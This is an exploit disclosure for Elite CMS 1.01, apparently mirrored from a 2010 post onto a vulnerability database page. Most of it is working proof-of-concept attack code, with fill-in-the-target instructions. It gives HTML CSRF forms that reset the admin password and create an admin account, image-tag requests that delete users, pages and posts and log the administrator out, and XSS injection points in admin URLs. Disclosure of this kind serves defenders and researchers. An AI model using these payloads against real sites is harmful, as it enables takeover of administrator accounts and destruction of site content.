Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Elite CMS 1.01 XSS/CSRF Vulnerabilitie

                                                # Name: Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities
# Author: 10n1z3d &#60;10n1z3d[at]w[dot]cn&#62;
# Date: Sat 10 Jul 2010 08:05:44 PM EEST 
# Vendor: http://elitecms.net/
# Download: http://elitecms.net/download.php?download=eliteCMS

-=[ CSRF PoC 1 - Change Admin Password ]=-

    &#60;html&#62;
        &#60;head&#62;
            &#60;title&#62;Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Change Admin Password&#60;/title&#62;
        &#60;/head&#62;
        &#60;body&#62;
                &#60;!--- Edit these ---&#62;
            &#60;form action=&#34;http://[domain]/admin/edit_user.php?user=1&#34; method=&#34;post&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;pwned&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;first_name&#34; value=&#34;pwned&#34; /&#62;
                &#60;!--- Do not edit below ---&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;s_admin&#34; value=&#34;1&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;active&#34; value=&#34;1&#34; /&#62;
                &#60;!--- At least they check this ---&#62;
                &#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Continue&#34; /&#62;
            &#60;/form&#62;
        &#60;/body&#62;
    &#60;/html&#62;

-=[ CSRF PoC 2 - Create Admin User ]=-

    &#60;html&#62;
        &#60;head&#62;
            &#60;title&#62;Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Create Admin User&#60;/title&#62;
        &#60;/head&#62;
        &#60;body&#62;
                &#60;!--- Edit these ---&#62;
            &#60;form action=&#34;http://[domain]/admin/new_user.php&#34; method=&#34;post&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;user_name&#34; value=&#34;root&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;root&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;/&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;first_name&#34; value=&#34;root&#34;/&#62;
                &#60;!--- Do not edit below ---&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;s_admin&#34; value=&#34;1&#34; /&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;active&#34; value=&#34;1&#34; /&#62;
                &#60;!--- At least they check this ---&#62;
                &#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Continue&#34; /&#62;
            &#60;/form&#62;
        &#60;/body&#62;
    &#60;/html&#62;

-=[ CSRF PoC 3 - Delete User ]=-

    &#60;img src=&#34;http://[domain]/admin/delete_user.php?user=2&#34; alt=&#34;Do you see this?&#34; /&#62;

-=[ CSRF PoC 4 - Delete Page ]=-

    &#60;img src=&#34;http://[domain]/admin/delete_page.php?page=1&#34; alt=&#34;Do you see this?&#34; /&#62;

-=[ CSRF PoC 5 - Delete Post ]=-

    &#60;img src=&#34;http://[domain]/admin/delete_post.php?post=1&#34; alt=&#34;Do you see this?&#34; /&#62;

-=[ CSRF PoC 6 - Logout The Administrator ]=-

    &#60;img src=&#34;http://[domain]/admin/logout.php&#34; alt=&#34;Do you see this?&#34; /&#62;

-=[ XSS ]=-

    http://[domain]/admin/edit_page.php?page=1[XSS]
    http://[domain]/admin/edit_post.php?page=1[XSS]
    http://[domain]/admin/add_post.php?page=1[XSS]

Also all of the text fields in the administration panel accept xss code.


Not so l33t huh?
Visit us at http://www.evilzone.org/.
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1